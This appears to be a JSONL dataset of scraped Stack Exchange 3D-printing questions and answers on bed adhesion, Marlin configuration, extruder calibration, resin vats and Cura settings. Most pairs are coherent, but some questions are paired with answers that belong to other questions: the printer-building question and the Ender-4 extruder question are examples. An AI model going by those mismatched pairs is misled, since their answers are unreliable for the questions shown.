"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.127175"}
{"id": "hf_df37c3a7f2a1", "question": "<p>I am at my wits end with this problem. I start a print and the skirt goes down fine, then the outline of the parts go down fine (usually) and then when it goes to fill in the first layer, it will always get stuck to the hotend at some point and rip apart the layer. </p>\n\n<p>Any ideas on how to solve this?</p>\n\n<ul>\n<li>Printing PLA at 210°C;</li>\n<li>First layer temp is 225°C;</li>\n<li>Bed temp at 60°C;</li>\n<li>1.75&nbsp;mm filament, and;</li>\n<li>0.4&nbsp;mm nozzle. </li>\n</ul>\n\n<p>Maker Select V2.1, using Cura to slice.</p>\n", "question_body": "", "answer": "Step Zero:\nis always to check/adjust the bed level - if the height over the bed varies while putting down the first layer, it's hard to ever get first layer settings that work.\nStep One:\nis to adjust your first layer settings - height, temperature, extrusion width until you find a set that work for your setup (knowing that they may change somewhat when you change filament.) Some folks find more success with thin first layers, others with a thicker first layer to pump more plastic, still others use the same layer height but increase the width to pump more plastic, and others combine these approaches. Increasing the temperature is common, though in my case I found that the \"usual\" +5°C was not enough for the present setup.\nYou can change one setting at a time and have an idea of what works better or worse in each case, or you can change lots of settings and hope you get lucky. I prefer the tedious approach, it's less maddening.\nAre you using any surface treatment on the bed? A bit of gluestick or hairspray may help you stick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.222255"}
{"id": "hf_1b27c6513705", "question": "<p>I am using Marlin firmware with a RAMPS board on an Anet A8 printer. </p>\n\n<p>The bed size for the printer is 220 x 220 mm and that is stated in the <code>configuration.h</code> file. When using mesh bed leveling, the nozzle jumps to the first corner on the bed perfectly after setting the x-min to 5.0 but the next two points are off the end of the bed. Here are my settings: </p>\n\n<pre><code>// Travel limits after homing (units are in mm)\n\n #define X_MIN_POS 5.0\n #define Y_MIN_POS 0.0\n #define Z_MIN_POS 0\n #define X_MAX_POS 220\n #define Y_MAX_POS 220\n #define Z_MAX_POS 240\n</code></pre>\n\n<p>What could be my issue? </p>\n", "question_body": "", "answer": "The problem is in the code.\nPlease use these:\n```\n```\n// The size of the print bed\n#define X_BED_SIZE 220\n#define Y_BED_SIZE 220\n\n// Travel limits (mm) after homing, corresponding to endstop positions.\n#define X_MIN_POS 5\n#define Y_MIN_POS 0\n#define Z_MIN_POS 0\n#define X_MAX_POS X_BED_SIZE\n#define Y_MAX_POS Y_BED_SIZE\n#define Z_MAX_POS 240\n```\n```\nYour problem will be ok.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.246132"}
{"id": "hf_7176e201ae29", "question": "<p>I printed <a href=\"https://www.thingiverse.com/thing:53451\" rel=\"nofollow noreferrer\">Planetary Gears</a> and the top looks great<a href=\"https://i.stack.imgur.com/Oq5DB.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Oq5DB.jpg\" alt=\"top\"></a>\nbut the bottom doesn't<a href=\"https://i.stack.imgur.com/MKMDQ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MKMDQ.jpg\" alt=\"bottom\"></a></p>\n\n<p>I am printing on a TronXY X3 (Prusa i3 metal frame clone) using eSun PLA+ and sliced using Cura 2.4.  I print on glass and do manual leveling (sheet of paper to set gap).</p>\n\n<p>What could be causing this?</p>\n\n<p>It almost looks like a raft; but, I selected to print with a Brim not a Raft.</p>\n\n<p>I have seen this on some other prints so I suspect it is a slicer setting.\nNote: Bed adhesion seemed great.  First adhered well and part popped off with very little effort.</p>\n", "question_body": "", "answer": "Your nozzle is too far from your bed.\nThe first layer isn't squished down sufficiently, resulting in these gaps. If your first layer looks like this, you should cancel your print and adjust the bed. Alternatively, you can adjust the initial height of the Z-axis in G-code (for instance,\n```\nG0 Z-0.1\n```\nfollowed by\n```\nG92 Z0\n```\n, which should be appended to your start G-code).\nYou can also try increasing the first layer height or the first layer extrusion multiplier. If you increase the first layer height, you will probably still have to adjust the bed slightly to bring the nozzle closer, but the thicker your first layer the larger the window where you get a good first layer.\nIncreasing the extrusion multiplier will effectively stretch the first layer to be thicker (and thus the model will come out slightly too high) and thus isn't necessarily a good idea, though some people find that a slight increase (to for instance, 110%) makes the first layer slightly more forgiving (but this also increases adherence, making parts harder to remove - there is a very fine line between getting good first layers and having your prints stuck permanently to the bed).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.340166"}
{"id": "hf_cdff6fbef780", "question": "<p>I have an STL file from thingiverse. The model is of a rectangular lid with an engraving. I would like to print it using two different colors, so that the engraving would be in a different color than the lid base. In the model description, the creator explained that he simply switched the material mid printing.</p>\n\n<p>However, I have a two-extruder printer, and I'd like to utilize it for this printing. What's the easiest way (tool) to select a part of the model and define that it should be printed using a different color?</p>\n", "question_body": "", "answer": "One method is to use meshmixer to select the faces to be created in the second color and \"detach\" them without removing them from the model. Keeping the detached faces in place provides the appropriate alignment when brought into the slicer. When exporting the model for printing, check your preferences to ensure both segments are exported at the same time. The preferences (file) default to separate exports based on selection.\nSome manipulation will be required with the extracted segments, as typically one is removing a zero-thickness surface from a manifold object. The videos I've seen usually create an extrusion towards the inner body to create a dimensional model from the extracted skin.\nEven if you are not familiar with Meshmixer, there are a number of videos and tutorials explaining this feature. If you use the terms \"meshmixer dual extrusion\" you'll get loads of links in return. I narrowed it by adding \"Maker's Muse\" to the search, as his explanations are clearer than others.\nI know that Slic3r and Simplify3D will support the correct positioning when importing the model, other slicers may require additional research to accomplish this objective. My search also appears to indicate that Cura will support such processing.\nThe rabbit in this image was being prepared for two colors. I've seen the video but cannot recall why this image was presented, as the other pieces were eventually incorporated during one print. It's possible this image represents a single color print, based on the supports, but it is indicative of a partial process during the creation of a dual extrusion print.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.370039"}
{"id": "hf_f72d078081ab", "question": "<p>My 3D printer makes weird sounds. When it's at >75% printing speed the extruder motor makes a \"tac tac\" sound and it goes backwards, pushing the filament back, for a small interval of time. I have tried changing the nozzle temperature and I'm unable to work this out alone. </p>\n\n<p>Has someone had the same problem?</p>\n\n<p>This is the 3D printer: <a href=\"http://www.dx.com/es/p/geeetech-high-quality-wood-geeetech-prusa-i3-pro-w-3d-printer-kit-469707?tc=EUR\" rel=\"noreferrer\">Geeetech High Quality Wood Geeetech Prusa I3 Pro W 3D Printer Kit</a>.</p>\n", "question_body": "", "answer": "You are extruding (rather, attempting to extrude) faster than the hotend/nozzle can melt & pump plastic. Eventually something's got to give, and it's usually the grip on the filament by the extruder gear (or the torque available is exceeded.)\nYou either need to limit the speed you extrude at, or change other print settings (temperature) to melt faster. You are not going 75% - you're trying to go more than 100% (in real terms of what the printer can actually do.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.398219"}
{"id": "hf_3e0dfa8ee57f", "question": "<p>Building a 3-D printer is obviously a huge undertaking.</p>\n\n<p>Does anyone know of any reasonably cheap guides to build my own 3-D printer?</p>\n", "question_body": "", "answer": "If you just want to build your own, get a kit.  There are several out there.  Most kits take from 1-5 days to complete depending on the kit.\nIf you want to design your own is quite a different story.  The effort is totally dependent on how much you want to do yourself.  My guess is the statement that you don't know the amount of effort indicates that you are probably not ready to design your own.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.434781"}
{"id": "hf_06095868f943", "question": "<p>I know nothing about 3D printing and I was wondering if it is a good candidate for what I want to make.</p>\n\n<p>I want to make a custom game cartridge which looks like this:\n<a href=\"https://i.stack.imgur.com/k0RpQ.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/k0RpQ.jpg\" alt=\"enter image description here\"></a> </p>\n\n<p>Basically it's like a SD card in a custom shell. Now I can produce the inside as a thin PCB (0.6mm-1mm). But I was wondering what the best (and cheapest) way to prototype (and maybe make a small run production) the outer shell would be. The entire cart is about 2mm thick, so each half of the shell would be at most ~0.6mm thick.</p>\n\n<p>Is this something I can do with a typical 3D printer? How would I \"attach\" the two halves together?</p>\n", "question_body": "", "answer": "With the experience I have with my 3d printer you can make (almost) everything you can draw with it.\n0.6mm parts can be 3d printed but will not be very strong though.\nFor joining the 2 halves when they are so thin, I think the best solution is to glue them together. With the things I make for myself I mostly use small screws or small nuts and bolts but with 0.6mm parts I guess this wil not be possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.460088"}
{"id": "hf_a9025d7f0b57", "question": "<p>As far as I know resin trays have a Teflon coat that allows prints to stick to the build plate easier than the resin tray but this Teflon coat wears over time.  </p>\n\n<p>I am new to the SLA scene and am currently troubleshooting a Draken Facture and trying to hone in my setting but my print keep sticking to the bottom of the resin vat.  </p>\n\n<p>How often should these trays be swapped out to allow for smooth printing?</p>\n", "question_body": "", "answer": "I did some research and the life of the resin and resin tray appears to be dependent on how you use it.  For example, regarding the resin, 3dfacture states\n\"We see almost unlimited shelf life of the resin as long as it is kept out of light\"\n.\nI know you asked about the tray and not the resin; but, the two are inter-coupled to the same fundamental issue.  Their lifespan is highly operational dependent.  If your printer operates in an environment that have very low ambient UV, the tray will have to be cleaned less because of less resin buildup and replacement and thus less wear.  Other factors come into play as well regarding cleaning procedures, usage amount, etc.\nI think if you want a number you are going to have to run your own experiment in your own environment.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.484518"}
{"id": "hf_62c16899bae9", "question": "<p>My Anet A8 frame are broken. I find frame project <a href=\"https://www.thingiverse.com/thing:2263216\" rel=\"nofollow noreferrer\">AM8 - Metal Frame for Anet A8</a>. I like it but I can't find aluminum extrusion needed, like this: <a href=\"https://us.misumi-ec.com/vona2/detail/110302684350/?Inch=0&amp;CategorySpec=00000042730%3A%3A20x40\" rel=\"nofollow noreferrer\">MiSUMi - Aluminum Extrusion - 5 series, Base 20, 20mm x 40mm</a>.</p>\n\n<p>Maybe somebody knows where I can buy it in Ukraine? Or maybe another frame options?</p>\n", "question_body": "", "answer": "There are lots of online sources for T-slot aluminum extrusions from\nebay\nto\nMcMaster\n.  If you want more options do a\nGoogle Search\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.533035"}
{"id": "hf_046ddd6a0748", "question": "<p>What are the basic necessities needed to build a 3d printing machine.</p>\n\n<ul>\n<li>Workforce</li>\n<li>Technology</li>\n<li>Money</li>\n<li>etc.</li>\n</ul>\n\n<p>I'm an undergrad and my friends and I would like to make a printer for a project. We wanted to get an idea of the prerequisites for this work. </p>\n", "question_body": "", "answer": "Prints could end up on tray for couple of reasons.\nVacuum force on early layers - Usually you should lose pieces on the center of platform\nPut holes or channels on platform\nVery slow speed on early layers\nUse smaller platform\nUse tilt mechanism\nUse larger support structures\nUse stickier platform - Anodized aluminum is specially good\nNon-aligned platform - Pieces on side of platform end up on tray\nAlign platform / tray\nLow cure times - you could lose pieces around platform for DLP and whole platform for LCD ones\nResin related issues\nResin designed for thinner layers - Decrease layer thickness\nPigment settled down - Shake resin before use", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.593624"}
{"id": "hf_4d447da9279f", "question": "<p>Testing my new Wanhao i3+. PLA plastic(Wanhao), basic normal quality settings in Cura (I guess 0.1 mm layer, 40 mm/s speed, 60c bed temp, 200c extruder temp). After 1.5 hours of printing quality degraded, it makes some loose structure. </p>\n\n<p>Edit:\nAfter finish I noticed that problem exists only in layers where it cycles printing/no printing. There is no problem on layers where it print continuously.</p>\n\n<p>What is the reason can be and how can I fix that?</p>\n\n<p><a href=\"https://i.stack.imgur.com/W90dj.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/W90dj.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "It definitely looks like under extrusion.\nFirst thing I would check is the filament feeder to make sure it has\na good grip in the filament.\nAfter that I would do another print to see if the problem is repeatable.\nIf it doesn't repeat, it may have been\nA temporarily clogged nozzle\nThe filament was undersized in that segment and the filament feeder lost its grip.\nThe extruder got to cold for some reason in that segment and the feeder couldn't push the material through the extruder fast enough.\nIf it does repeat:\nRe-inspect the filament feeder\nTry increasing the the extruder temp to say, 225.\nTry turning off retraction to see if it is related to those settings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.629580"}
{"id": "hf_e89d27a52276", "question": "<p>I have a TronXY printer (i3 Clone).  It has a 220x220&nbsp;mm heated aluminum bed and I print with a Borosilicate glass plate.</p>\n\n<p>I have a slightly longer print (245&nbsp;mm) I would like to do and I think I could adjust to settings and end stop to stretch the y-dimension travel and I have found a 229x257&nbsp;mm plate.  This would extend over the edge of the aluminum bed.</p>\n\n<p>Will the thermal conduction and mass of the glass plate be sufficient to still keep the bed warm enough?</p>\n", "question_body": "", "answer": "The aluminum plate is being heated by the heater element although I suspect the element does not encompass the entire area of the aluminum portion. There are going to be cooler spots on the aluminum but not enough to significantly affect the transfer to the glass.\nOnce you extend the glass, without a corresponding extension to the aluminum and/or heater element, you are ensuring cooler spots. The glass will be surrounded by air, and begin to conduct some of the heat, certainly, but will also radiate a substantial amount.\nIf you are printing with PLA, you may get away with doing this modification. Very little of the heat from the aluminum will reach the glass.\nA quick check shows the thermal conductivity of aluminum to be 205 W/m K compared to borosilicate glass at 1.2 W/m K in the range of temperature used for 3D printing. I did not research the rate of energy dissipation for the same range of temperatures, but if it's not too high (unlikely), it would still take forever for the unheated areas of glass to reach temperature.\nConsider your extension to be an unheated bed and print accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.665296"}
{"id": "hf_58dee5f677eb", "question": "<p>I'm working with a group at the MIT Launch startup accelerator for high school and I was hoping to do some market research regarding some of the current problems with desktop 3D printers. I was hoping to get some feedback from all your experience with 3D printing and the hours of troubleshooting you've likely encountered.</p>\n\n<p>What workarounds and aftermarket modifications are the most useful? If you could change one thing about your printer what would it be? How do you troubleshoot issues and how long does it take? What would make you more likely to 3d print more often (ie never clogged, didn't have to watch first layer, etc)? In your opinion, what are the biggest issues the desktop 3D printing industry faces? Just share any wishes, thoughts, hopes, dreams, etc about 3D printing</p>\n\n<p>Thank you so much for your time and sharing your experience!</p>\n", "question_body": "", "answer": "First, regarding\n\"Why do 3D Printers Suck?\"\n- The answer is\nThey Don't!\nEvery tool has its limitations and you need to work withing the limitations of the tool.\nSecond, there are\nA LOT\nof different types/technologies, manufacturers, and price points and all of these have specific limitations.\nI live in Tigard, OR and both my boys are in High School.  Our High School has a pretty advanced Technologies Department.  We have had a 3D printer for a several years and use it for printing parts for our after school programs (we have three FTC teams, one FRC team, and one (underwater) MATE team).  This last year the school introduced a CAD class and added about 15-20 new Afina printers so that the students can print what they design.\nI talked to my sons (they have both used the printers) and they said the only problems they ran into were mistakes they made.  Two examples of that are:\nPrinting with ABS and having it warp (probably bed temp)\nTrying to print a design with too thin a wall\nI think there is a BIG opportunity for improvement here.  Having a \"Slicing\" program that doesn't require tweaking and would warn of likely print problems would help A LOT.  I like the idea of the new\nPrusaControl\n.  If this idea could be extended further as\nThomas Sanladerer suggested in his video review\nI know the Head of Technologies Department (I help mentor several of the after school programs).  He has been responsible for getting printers and I recall he was concerned about more high-level things:\nService, Maintenance and Repair\nFumes (this is a lot of printers in one place with students in the same room)\nNetwork interface and driver compatibility with school computer/network standards.\nI believe there is another opportunity here.  If you could provide some sort of a \"printer farm\" where the students could send their print to the \"farm\" and then have a highly visible indicator on the selected printer would their name/ID when their print starts.  That way you can get more efficient use of the printers and the space they consume.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.688873"}
{"id": "hf_707f6cf8aef3", "question": "<p>Can anyone help me find/confirm the information needed to setup the CR-10 in the Cura Software</p>\n\n<p>I have following settings from research:</p>\n\n<p><strong>Printer Settings</strong></p>\n\n<ul>\n<li>x =  300&nbsp;mm</li>\n<li>y =  300&nbsp;mm</li>\n<li>z =  400&nbsp;mm</li>\n<li>Build Plate = Rectangular</li>\n<li>Machine Center is Zero = Checked</li>\n<li>Heated Bed = Checked</li>\n<li>G-code Flavor = RepRap (Marlin/Sprinter) <strong>-- Uncertain - please help confirm this</strong></li>\n</ul>\n\n<p><strong>Print Head Settings</strong></p>\n\n<ul>\n<li>X min = <strong>Unclear where this comes from</strong></li>\n<li>Y min = <strong>Unclear where this comes from</strong></li>\n<li>X max = <strong>Unclear where this comes from</strong></li>\n<li>Y max = <strong>Unclear where this comes from</strong></li>\n<li>Gantry Height = <strong>Unclear where this is measured from</strong></li>\n<li>Number of Extruders = 1</li>\n<li>Material Diameter - 1.75&nbsp;mm</li>\n<li>Nozzle size = 0.4&nbsp;mm</li>\n</ul>\n", "question_body": "", "answer": "GCode flavor\n: the firmware your machine uses. Google tells me CR-10 uses Marlin, so you should select that. Volumetric Marlin is not very common.\nPrint Head Settings\nX/Y min/max\ndefine the bounding box of the area your print head takes up. Measure the distance from the centre of the nozzle to the left-most point of the print head and do the same for the right-most, front-most and back-most.\nGantry Height\nis the distance from the tip of the nozzle to the lowest point of the gantry, which is the axle on which the print head is mounted.\nThese print head settings are only used for one-at-a-time printing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.713930"}
{"id": "hf_aa43e5493590", "question": "<p>How do I speed up prints for the Monoprice Select IIIP Plus printer?</p>\n\n<p>The manual shows [Cura] examples of:</p>\n\n<ul>\n<li>Print speed: 50mm/s</li>\n<li>Travel Speed: 80mm/s</li>\n<li>Bottom Layer Speed: 20mm/s</li>\n<li>Infill Speed: 50mm/s</li>\n<li>Outer shell speed: 15mm/s</li>\n<li>Inner shell speed: 30mm/s</li>\n</ul>\n\n<p>However, this doesn’t line up with their advertisements online of a 150mm/s printing speed.</p>\n\n<p>Are there better settings to use, especially ones which can speed up printing time? Or are there any other measures which I can take in order to reduce printing time in general? </p>\n", "question_body": "", "answer": "In my experience a print speed of 50-70mm/s is ideal. Even if you set the speed to 150mm/s the print head still changes directions often and rarely will have enough time to accelerate from 0->150 before changing direction again.\nSome more effective ways of speeding up prints is to adjust\nLayer height\nInfill percentage (15-25% for regular prints, more if they need to be more sound)\nSupports\nNumber of shells, etc", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.738156"}
{"id": "hf_288e6955e948", "question": "<p>I cannot generate the upper part of the solid properly which contain a hole (as in the picture).  The solid part (bottom section) printed well. </p>\n\n<p><a href=\"https://i.stack.imgur.com/QpBfR.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QpBfRm.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>What should I change to print the part with hole properly?<br>\nIs it a problem with machine or the design?<br>\nI am using Hydra 3D printer. </p>\n", "question_body": "", "answer": "It appears that the upper part of your print contains less plastic than the lower. This would mean that as the printer begins to operate in that area, the previously deposited plastic has less time to cool.\nThe distortions are difficult to see from the distortions of the photograph, but I've experienced similar upper, smaller section failures.\nYou could consider to print more than one copy of the item on the bed, which will require the nozzle to move away from each layer, allowing more cooling time, or add a throw-away model.\nI've also added an ooze shield using Simplify3D to create a single wall around the part, providing the same cooling time concept.\nIf you try these options and still experience a problem, please consider editing your post with material used (PLA, ABS, PETG, etc) as well as temperatures and speeds used for this print.\nYour slicer is not likely the problem, but is often useful information. Printer name is sometimes helpful, but I think it's not critical in this circumstance.\nIt's also useful to orient the part in the photograph to match that of the print. It's apparent in this case that the top of the print is to the right and bottom is to the left. If that is not correct, please advise in edit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.762188"}
{"id": "hf_f03c817a9faf", "question": "<p>I have Ramps 1.4 and would like to get answer on extrusion in Marlin firmware. I have NEMA 17 stepper motor 1.8 deg, set to 1/16 step. Mk7 direct drive.\n38 teeth in extruder drive gear. I bought it from <a href=\"https://www.robotics.org.za/RDKIT-00?search=extru\" rel=\"nofollow noreferrer\">this website</a>.</p>\n\n<p>Here are my current settings:</p>\n\n<pre><code>#define DEFAULT_AXIS_STEPS_PER_UNIT   { 80,80, 4000, 180 }\n#define DEFAULT_MAX_FEEDRATE          { 500, 500, 3, 45 } \n#define DEFAULT_MAX_ACCELERATION      { 9000, 9000, 100, 300 }\n</code></pre>\n\n<p>I am using ABS 1.75 filament and a 0.4 nozzle.</p>\n", "question_body": "", "answer": "According to the description, the drive gear you have has a\n```\n10.8mm\n```\ndiameter. This means that (in the ideal case) one full rotation of the drive gear will advance a length of filament equal to its circumference, which is\n```\npi x 10.8mm\n```\nor approximately\n```\n33.93mm\n```\n.\nYour motor rotates\n```\n1.8\n```\ndegrees per step, so it takes\n```\n360 / 1.8 = 200 steps\n```\nfor a full rotation. Since you are using 16x microstepping, this is multiplied to\n```\n200 x 16 = 3200 steps\n```\n.\nYou thus end up with a steps per mm value of\n```\n3200 / 33.93 = 94.31 steps/mm\n```\n.\nYou might need to calibrate this further, for instance by extruding a set length of filament (e.g. 100mm) and measuring how much is actually extruded, and then compensating the steps/mm value to get you closer to the desired 100mm. A simple way to measure this is to put a mark on your filament at 150mm from the extruder, and then (after extruding 100mm) measure how close the mark is to the extruder (which should be 50mm) However, this theoretically computed value should be a good starting point. Note that the speed you do this test at should be close to your normal printing speed, since extruding at a much higher (resp. lower) speed will falsely lead you to believe you are underextruding (resp. overextruding).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.786549"}
{"id": "hf_24fa38de21b1", "question": "<p>This is my first time building a 3D printer (a \"<a href=\"https://www.3dprintersonlinestore.com/creality-ender4-3d-printer\" rel=\"nofollow noreferrer\">Creality Ender-4</a>\").</p>\n\n<p>Everything is going fine except the \"extruder kit\" part that does not have enough space to attach on the frame.  Should I drill it to have a longer hole so it can be attached to the frame? I just want another set of eyes to look at it to make sure I'm not crazy.</p>\n\n<p><a href=\"https://i.stack.imgur.com/kw3kh.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kw3khm.jpg\" alt=\"Extruder - image#1\" title=\"Extruder - image#1\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/VCDP6.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VCDP6m.jpg\" alt=\"Extruder - image#2\" title=\"Extruder - image#2\"></a>\n<a href=\"https://i.stack.imgur.com/1Z8C2.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1Z8C2m.jpg\" alt=\"Extruder - image#3\" title=\"Extruder - image#3\"></a></p>\n", "question_body": "", "answer": "According to the description, the drive gear you have has a\n```\n10.8mm\n```\ndiameter. This means that (in the ideal case) one full rotation of the drive gear will advance a length of filament equal to its circumference, which is\n```\npi x 10.8mm\n```\nor approximately\n```\n33.93mm\n```\n.\nYour motor rotates\n```\n1.8\n```\ndegrees per step, so it takes\n```\n360 / 1.8 = 200 steps\n```\nfor a full rotation. Since you are using 16x microstepping, this is multiplied to\n```\n200 x 16 = 3200 steps\n```\n.\nYou thus end up with a steps per mm value of\n```\n3200 / 33.93 = 94.31 steps/mm\n```\n.\nYou might need to calibrate this further, for instance by extruding a set length of filament (e.g. 100mm) and measuring how much is actually extruded, and then compensating the steps/mm value to get you closer to the desired 100mm. A simple way to measure this is to put a mark on your filament at 150mm from the extruder, and then (after extruding 100mm) measure how close the mark is to the extruder (which should be 50mm) However, this theoretically computed value should be a good starting point. Note that the speed you do this test at should be close to your normal printing speed, since extruding at a much higher (resp. lower) speed will falsely lead you to believe you are underextruding (resp. overextruding).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.810981"}
{"id": "hf_cb88357b332f", "question": "<p>I play a <a href=\"https://en.m.wikipedia.org/wiki/Berimbau\" rel=\"noreferrer\">berimbau</a> for Capoeira. One of the most fragile (and most expensive) bits is the <em>cabaça</em>, a hollow gourd used as a resonator.</p>\n\n<p><img src=\"https://i.stack.imgur.com/tRNcL.jpg\" alt=\"cabaças\"></p>\n\n<p>I'm not very familiar with the qualities of the resin used for 3d printing. If I were to take this to our local Maker Lab and have them scan and print a copy, how likely is it that it would work? My fear is that the plastic would be too sound deadening.</p>\n\n<p>If you want a less exotic parallel, imagine the body of a guitar. That's a resonating chamber.</p>\n", "question_body": "", "answer": "I'll take a stab here, but my gut instinct is to say that a printed part will not sound the same as your original gourd resonator.\nI believe the acoustics rely on the hardness, shape, and size of the material. In which case, a gourd is a hard and often thin material (after gutting it). Typical 3D printing materials will have a minimum thickness which may get in the way of achieving the same shape of the gourd resonator and plastics are typically going to be softer in hardness than your gourd.\nSo, in short, I think if your try to replicate the resonator with 3D printing it will not sound the same. That may not be a bad thing, depending on what you're looking for.\nAlso, who's to say the resonator has to be shaped like that? 3D printers allow us to manufacture parts that have historically been impossible to make and many instruments that we use today were designed hundreds of years ago with far less advanced tools available. I say its worth trying a replica of the gourd and then exploring other shapes to print that may affect the tonality of your instrument.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.884216"}
{"id": "hf_c4e6b5b6bc69", "question": "<p>I am extending the bed of my TronXY X3 FDM RepRap printer.</p>\n\n<p>I am extending the bed from 220&nbsp;mm x 220&nbsp;mm to 220&nbsp;mm x 300&nbsp;mm.  For now, I will keep the existing bed and add and aluminum sheet on top.  That leaves 40mm on front and back of the original bed.</p>\n\n<p>Right now I only plan on running PLA; but, I do plan on heating the bed.</p>\n\n<p>How thick does the aluminum sheet need to be?</p>\n", "question_body": "", "answer": "Main factors that control the process of the print bed selection are\nweight: too thick plate increases inertial force, limiting maximum acceleration/jerk (decreased print speed)\nstiffness: too thin plate will warp when heated or bend during calibration (decreased print quality/printer reliability)\nFor table sizes around 400x400mm I would think of 4mm plate, but it still can warp if heated unevenly.\nSometimes it makes sense to use a sandwich-type table: lower level is MDF, cork panel for heat insulation and thin (1.5-2mm) aluminum heated bed on top.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.908353"}
